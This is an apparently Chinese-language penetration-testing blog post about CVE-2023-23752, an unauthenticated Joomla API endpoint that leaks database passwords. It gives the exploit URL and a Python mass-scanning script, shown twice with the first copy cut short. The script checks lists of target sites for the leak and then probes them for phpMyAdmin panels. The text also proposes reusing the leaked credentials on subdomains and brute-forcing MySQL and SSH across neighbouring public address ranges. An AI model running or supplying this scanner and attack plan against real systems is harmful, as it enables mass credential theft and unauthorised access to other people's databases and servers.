0x01 漏洞详情
- 项目: Joomla!
- 子项目: CMS
- 影响:严重
- 严重性: 高
- 概率:高
- 版本: 4.0.0-4.2.7
- 利用类型:不正确的访问控制
- 报告日期: 2023-02-13
- 修复日期: 2023-02-16
- CVE 编号: CVE-2023-23752
其实就是一个未授权接口,访问后就可以读取数据库密码,如果单单利用该漏洞其实干不了多大事。其实就利用到我们的渗透思路。
1.判断漏洞的同时判断是否存在phpmyadmin
2.如果不存在phpmyadmin或者adminer此类的东西我们又该如何利用?收集子域名批量判断是否存在phpmyadmin用该漏洞获取到的数据库密码去尝试子域名的phpmyadmin。用该账号密码批量爆破公网c段的mysql或者ssh服务。
如何判断目标cms是否为joomla,当然常见的可以通过一些扫描工具,如果是手工的话我们可以查看一些url特征,例如前台的一些文章为:http://www.redteamxxx.com/index.php/xxxx这类的,或者通过joomla后台url来判断:http://www.redteamxxx.com/administrator/。
0x02 受影响的版本
Joomla! CMS 版本 4.0.0-4.2.7
0x03 poc
这里就用网上的图了,懒得搭建了。
/api/index.php/v1/config/application?public=true
意思其实就是一个未授权接口,访问后就会回显数据库账号密码。
可以看到访问该url后回显数据库密码,所以该漏洞要配合phpmyadmin或者开放3306才能组合利用。
这里我们就判断是否存在phpmyadmin。
同理读取 url.txt
。然后访问该完整的url判断状态码。
import requests,warnings
from requests.packages import urllib3
urllib3.disable_warnings()
warnings.filterwarnings("ignore")
f = open("url.txt","r")
lines = f.readlines()
for line in lines:
url = line.strip()
print("[*]try to fuck "+url)
if(url.endswith('/')):
url = url[:-1]
payload_url = url + "/api/index.php/v1/config/application?public=true"
然后获取相应包,如果存在漏洞那么相应包就会回显 password
关键字,所以我们只需要判断该关键字
是否在响应包即可。最终判断是否存在phpmyadmin
目录。
import requests,warnings
from requests.packages import urllib3
urllib3.disable_warnings()
warnings.filterwarnings("ignore")
f = open("url.txt","r")
lines = f.readlines()
for line in lines:
url = line.strip()
print("[*]try to fuck "+url)
if(url.endswith('/')):
url = url[:-1]
payload_url = url + "/api/index.php/v1/config/application?public=true"
directories = ['/phpmyadmin/', '/phpMyAdmin/', '/pma/','/PMA/']
try:
response = requests.get(payload_url,timeout=5)
status_code = response.status_code
if(status_code) == 200:
if("password" in response.text):
print("[+]"+payload_url+" is ok!")
for directory in directories:
mysql_url = url + directory
response2 = requests.get(mysql_url,timeout=5).status_code
if(response2 != 404):
print("[+]"+mysql_url+" is exist")
f = open("pma.txt","a")
f.write(mysql_url+"\r\n")
f.close()
f = open("result.txt","a")
f.write(url+"\r\n")
f.close()
except Exception:
continue